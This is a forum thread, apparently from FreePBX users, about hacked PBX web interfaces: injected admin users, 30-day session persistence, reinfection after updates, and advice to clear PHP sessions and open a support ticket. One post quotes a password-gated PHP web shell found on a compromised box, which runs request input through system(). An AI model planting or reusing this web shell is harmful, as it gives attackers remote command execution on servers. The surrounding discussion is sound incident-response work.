We noticed all our pbxs where hacked in the Gui. The following happend:
Suddenly we can not login to our pbx’s, with a SSH command we resetted the admin password.
Now we see all our users are deleted and only one new user is enabled to login into webgui. Named VAMPIRE or PEACE (in our case).
We deleted this users offcourse, but than…
We noticed If we do not press logout, we can still access our pbx gui. Even when we do not even excist as WebGui User. Only after we press Logout, we cannot login again.
So if a hacker is logged into the gui and we delete him as user, and he does not press logout, he can always acces our pbx, even he is not a Webgui user anymore.
De browser remebers this login in some way, so even after days the hacker still can login into the gui without entering name and password.
Now we banned the hackers (from Egypt offcourse:)) form the gui with a .htacces file. Before doing this, it took a day, before the hacker did exactly the same. Delete web users en injected itself as only user.
Question:
Is there a way to automatic logout users from gui after a presetted time? (this is a big security problem)
Or if it can not go automatic, is there a way to achieve this by hand, so user Have to login again with credentials?
Hope anyone can help with us. It is giving us many bad-hear day’s
Since we are using a PHP session for this, you could go in and clear out the session in /var/lib/php/session. Currently FreePBX sets the cookie lifetime and gc_maxlifetime to 30 days in config.php.
Many thanks for your quick answer! We will try to to shorten this setting and we will let you know our results.
When this is the case, it will probably be a good thing to shorten this lifetime by default in coming updates?
We’ve had a PBX hit with this same attack (same usernames injected into ampusers). Numerous web GUI files have been changed, and backup/restore scripts removed. We’re still digging to find the extent of the damage. Not positive yet of the attack vector, but appears to be a web-based injection.
We see that there is a file /tmp/domo.tar.gz wich contains a complete copy of the webgui files and also contains the file /var/www.htm/admin/angel.php (is config.php copy)
and a file /var/www/html/admin/assets/index.php
[index.php]
#<input size=60 type=text #name=‘c’ />
#eFalcon>
#<?php #if(md5($_REQUEST[‘p’])==‘1d2c8d1a7bc7cd5b2fa9977069d76fb3’)
#{ #echo ‘’;
#@system($_REQUEST[‘c’]); #echo ‘’;
#}
#?>
Now we are trying to make a script wich removes these bad files and will fix the pbx.
The PBX has now been updated and looks good. Yes, we also found the same /tmp/domo.tgz file and the angel.php file. Looks like this issue was related to the vulnerability in the outdated framework.
You will probably find many variants of this hack out there as different people have different methods of doing bad things. Once the CVE was release it was anyone’s game.
We noticed this, there is a user Vampire, Peace and Angel.
We also noticed that even after replacing all the /ver/www/html/ files, the hacking still continued.
There is a script and a file domo.tar.gz in the /tmp directory
Until these files are not deleted, the hacking continues from the internal OS. We are still investigating how this is done.
Nothing visible in cron. Somehow wome script look like the are executed automaticly.
We updated all Framework modules, and deleted all infected files. Systems run fine for a week, butt suddenly users deleted again and a hacker user injected again.
Can this still be possible with the framework updated.
Even a fresh new distro 5.211.65-8, installed only a week ago, was infected.
Looks like there is still a leak.
The only thing we can find is a adjusted config.php file. How can this be done?
We are trying to figure out where this can happen.
The only thing we found in the access.log file was:
Thank you jfinstrom,
We will do that next week, with our own pbx.
Can it be enough to replace only the config.php from an old pbx for a new installed pbx? Just to be sure for now?
Or is is not that simple for now?
Bas,
If this is an issue, the sooner we get access to an affected box the better, as this will allow us to assess the situation and determine if there is an issue which has not already been patched and provide a fix. If you open a support ticket at support.schmoozecom.com we will have a developer take a look at it as soon as possible.
